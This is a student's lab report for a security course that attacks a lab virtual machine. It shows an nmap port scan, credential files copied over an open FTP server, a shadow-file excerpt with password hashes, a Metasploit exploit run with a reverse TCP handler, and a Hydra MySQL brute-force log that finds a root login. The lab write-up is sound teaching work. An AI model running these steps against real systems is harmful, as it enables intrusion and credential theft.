Henry Post

ITMS 443

Exploiting a target

Contents

[Notes 2](#_Toc528175309)

[Reconnaissance 3](#_Toc528175310)

[Exploits 4](#_Toc528175311)

[Unsecured FTP server 4](#_Toc528175312)

[ccproxy-ftp buffer overflow 4](#_Toc528175313)

[MySQL login brute-force attack 5](#_Toc528175314)

# Notes

If you look at my previous assignments, you’ll notice I always include all the commands in a folder called `scripts`.

The same thing applies here.

# Reconnaissance

I did some minor reconnaissance before beginning any exploits, as all I knew about my target was its IP address.

I used `nmap` to scan all 65535 ports on the target machine, and then picked some cool-looking ones.

Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-22 16:33 EDT  
Nmap scan report for 172.43.0.154  
Host is up (0.00049s latency).  
Not shown: 65505 closed ports  
PORT STATE SERVICE  
21/tcp open ftp  
22/tcp open ssh  
23/tcp open telnet  
25/tcp open smtp  
53/tcp open domain  
80/tcp open http  
111/tcp open rpcbind  
139/tcp open netbios-ssn  
445/tcp open microsoft-ds  
512/tcp open exec  
513/tcp open login  
514/tcp open shell  
1099/tcp open rmiregistry  
1524/tcp open ingreslock  
2049/tcp open nfs  
2121/tcp open ccproxy-ftp  
3306/tcp open mysql  
3632/tcp open distccd  
5432/tcp open postgresql  
5900/tcp open vnc  
6000/tcp open X11  
6667/tcp open irc  
6697/tcp open ircs-u  
8009/tcp open ajp13  
8180/tcp open unknown  
8787/tcp open msgsrvr  
33686/tcp open unknown  
41710/tcp open unknown  
48661/tcp open unknown  
58745/tcp open unknown  
  
MAC Address: 00:50:56:9A:AE:15 (VMware)  
  
Nmap done: 1 IP address (1 host up) scanned in 3.83 seconds

# Exploits

## Unsecured FTP server

I chose the `ftp` service running on port `21` first, by virtue of curiosity and the fact that it was first.

I then connected to it using `ftp <HOST>`, and to my surprise, it worked!

I then made a perl script that downloads `/etc/passwd/` and `/etc/shadow` into the `./out/` folder, and then unshadows and cracks those files using John the Ripper.  
  
Below is an excerpt from the `shadow` file.

root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::  
daemon:\*:14684:0:99999:7:::  
bin:\*:14684:0:99999:7:::  
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::  
sync:\*:14684:0:99999:7:::  
games:\*:14684:0:99999:7:::

The fact that I can download this file means I could potentially download ANY file on the system.

## ccproxy-ftp [buffer overflow](https://www.cvedetails.com/cve/cve-2004-2416)

In the same vein (ftp) of services, I saw ccproxy-ftp running, and decided to go on Google to see if there were any exploits available.

Luckily for me, there was a [metasploit module](https://www.rapid7.com/db/modules/exploit/windows/proxy/ccproxy_telnet_ping) available that I could take advantage of.

There is an [asciinema screen recording](https://asciinema.org/a/ZbT6n6VNbfQ9JpNzR2BTDXPUK?t=25s).

msf > use exploit/windows/proxy/ccproxy\_telnet\_ping  
msf exploit(**windows/proxy/ccproxy\_telnet\_ping**) > set RHOST 172.43.0.154  
RHOST => 172.43.0.154   
msf exploit(**windows/proxy/ccproxy\_telnet\_ping**) > exploit **[\*]** Started reverse TCP handler on 172.43.35.101:4444  
**[\*]** Exploit completed, but no session was created.

## MySQL login brute-force attack

Using Hydra, I was able to launch a (slow) brute-force attack against the MySQL server at port 3306.

I was able to:

1. Launch a brute-force attack
2. Get in with the `root:login` credentials.

**root@kali-x43-35**:**~/GitHub/itms-443/labs/4/scripts**# ./mysql\_bruteforce.pl   
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service  
organizations, or for illegal purposes.  
  
Hydra (http://www.thc.org/thc-hydra) starting at 2018-10-24 14:25:52  
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a  
previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 35 login tries (l:5/p:7), ~9 tries per task  
[DATA] attacking mysql://172.43.0.154:3306/  
[ATTEMPT] target 172.43.0.154 - login "root" - pass "password" - 1 of 35 [child 0] (0/0)  
[ATTEMPT] target 172.43.0.154 - login "root" - pass "" - 2 of 35 [child 1] (0/0)  
[ATTEMPT] target 172.43.0.154 - login "root" - pass "root" - 3 of 35 [child 2] (0/0)  
[ATTEMPT] target 172.43.0.154 - login "root" - pass "toor" - 4 of 35 [child 3] (0/0)  
[ATTEMPT] target 172.43.0.154 - login "root" - pass "admin" - 5 of 35 [child 2] (0/0)  
[STATUS] 5.00 tries/min, 5 tries in 00:01h, 30 to do in 00:07h, 4 active  
[ATTEMPT] target 172.43.0.154 - login "root" - pass "login" - 6 of 35 [child 3] (0/0)  
[3306][mysql] host: 172.43.0.154 login: root  
[ATTEMPT] target 172.43.0.154 - login "admin" - pass "password" - 8 of 35 [child 1] (0/0)  
[STATUS] 4.00 tries/min, 8 tries in 00:02h, 27 to do in 00:07h, 4 active